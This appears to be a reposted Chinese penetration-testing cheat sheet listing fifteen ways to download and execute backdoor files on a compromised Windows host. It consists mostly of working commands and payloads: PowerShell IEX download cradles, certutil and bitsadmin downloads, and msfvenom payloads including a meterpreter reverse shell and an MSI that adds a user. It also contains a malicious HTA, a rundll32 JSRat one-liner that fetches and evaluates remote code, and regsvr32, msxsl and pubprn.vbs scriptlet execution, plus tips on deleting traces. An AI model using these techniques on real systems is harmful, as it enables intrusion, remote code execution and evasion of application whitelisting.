Windows遠程文件下載執行的15種姿勢


當我們通過Web滲透獲取了一個Shell,而且目標主機是Windows,我們該怎么去下載后門文件到目標主機上執行呢?

一般來說,實現Windows文件下載執行的方式不外乎以下幾種方式。第一種,遠程下載文件到本地,然后再執行;第二種,遠程下載執行,執行過程沒有二進制文件落地,這種方式已然成為后門文件下載執行的首要方式另外呢,只要你所在服務器的環境支持,你也可以通過任何一門語言來實現它,這種方式暫不在本文的討論范圍之內。

在這里,本文收集了15種常見的文件下載執行的方式,並結合具體案例,讓我們一起來看看是怎么實現的吧。

  • PowerShell
  • Bitsadmin
  • certutil
  • wget
  • ipc$文件共享
  • FTP
  • TFTP
  • WinScp
  • msiexec
  • IEExec
  • mshta
  • rundll32
  • regsvr32
  • MSXSL.EXE
  • pubprn.vbs

1、PowerShell
PowerShell是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用。
遠程下載文件保存在本地:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')

遠程執行命令:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

2、Bitsadmin
bitsadmin是一個命令行工具,可用於創建下載或上傳工作和監測其進展情況。

bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt

輸入以上命令,成功下載文件。

3、certutil
用於備份證書服務,支持xp-win10都支持。由於certutil下載文件都會留下緩存,所以一般都建議下載完文件后對緩存進行刪除。
注:緩存目錄為:”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”

#下載文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#刪除緩存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

4、wget
Windows環境下,可上傳免安裝的可執行程序wget.exe到目標機器,使用wget下載文件。
wget.exe下載:https://eternallybored.org/misc/wget/

wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

5、ipc$文件共享
IPC$(Internet Process Connection)是共享”命名管道”的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。

#建立遠程IPC連接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#復制遠程文件到本地主機
copy \\192.168.28.128\c$\2.txt D:\test

6、FTP 

一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash腳本,考慮到了交互的情況,可以直接執行並不會產生交互動作。

ftp 127.0.0.1
username
password
get file
exit

7、TFTP
用來下載遠程文件的最簡單的網絡協議,它基於UDP協議而實現
tftp32服務端下載地址:http://tftpd32.jounin.net/tftpd32_download.html

tftp -i 你的IP get 要下載文件 存放位置


8、WinScp
WinSCP是一個Windows環境下使用SSH的開源圖形化SFTP客戶端。

#上傳
winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt  /tmp/" "exit" /log=log_file.txt 
#下載
winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.tx

使用winscp.exe 作為命令行參數執行遠程上傳/下載操作。

9、msiexec
msiexec 支持遠程下載功能,將msi文件上傳到服務器,通過如下命令遠程執行:

#生成msi包
msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
#遠程執行
msiexec /q /i http://192.168.28.128/evil.msi

成功添加了一個test用戶:


10、IEExec
IEexec.exe應用程序是.NET Framework附帶程序,存在於多個系統白名單內。
生成Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe

使用管理員身份打開cmd,分別運行下面兩條命令。

C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

11、mshta
mshta用於執行.hta文件,而hta是HTML Applocation 的縮寫,也就是HTML應用程序。而hta中也支持VBS。所以我們可以利用hta來下載文件。

mshta http://192.168.28.128/run.hta

run.hta內容如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user test password /add" // 這里填寫命令
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML>

12、rundll32
其實還是依賴於WScript.shell這個組件,在這里我們使用JSRat來做演示,JSRat是一個命令和控制框架,僅為rundll32.exe和regsvr32.exe生成惡意程序。
項目地址:https://github.com/Hood3dRob1n/JSRat-Py.git
步驟一:開始運行JSRat,監聽本地8888端口。



步驟二:通過url訪問,可以查看惡意代碼。

復制代碼如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

步驟三:在受害者PC運行該代碼,將成功返回一個會話,如下圖所示:

13、regsvr32
Regsvr32命令用於注冊COM組件,是Windows系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行
在目標機上執行:

regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll

可以通過自己構造.sct文件,去下載執行我們的程序

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
        <![CDATA[
            ps  = "cmd.exe /c calc.exe";
            new ActiveXObject("WScript.Shell").Run(ps,0,true);
        ]]>
</script>
</registration>
</scriptlet>

執行命令,成功彈計算器:


14、MSXSL.EXE
msxsl.exe是微軟用於命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。
下載地址為:https://www.microsoft.com/en-us/download/details.aspx?id=21714
msxsl.exe 需要接受兩個文件,XML及XSL文件,可以遠程加載,具體方式如下:

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

demo.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>

exec.xsl

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
   return nodelist.nextNode().xml;

   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

15、pubprn.vbs
在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位於C:\Windows\System32\Printing_Admin_Scripts\en-US,仔細觀察該腳本可以發現其顯然是由用戶提供輸入(通過命令行參數),之后再將參數傳遞給GetObject()

"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

test.sct

<?XML version="1.0"?>
<scriptlet>
<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    remotable="true"
    >
</registration>
<script language="JScript">
<![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

參考鏈接:

文件下載的15種方式

https://blog.netspi.com/15-ways-to-download-a-file/#netcat


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM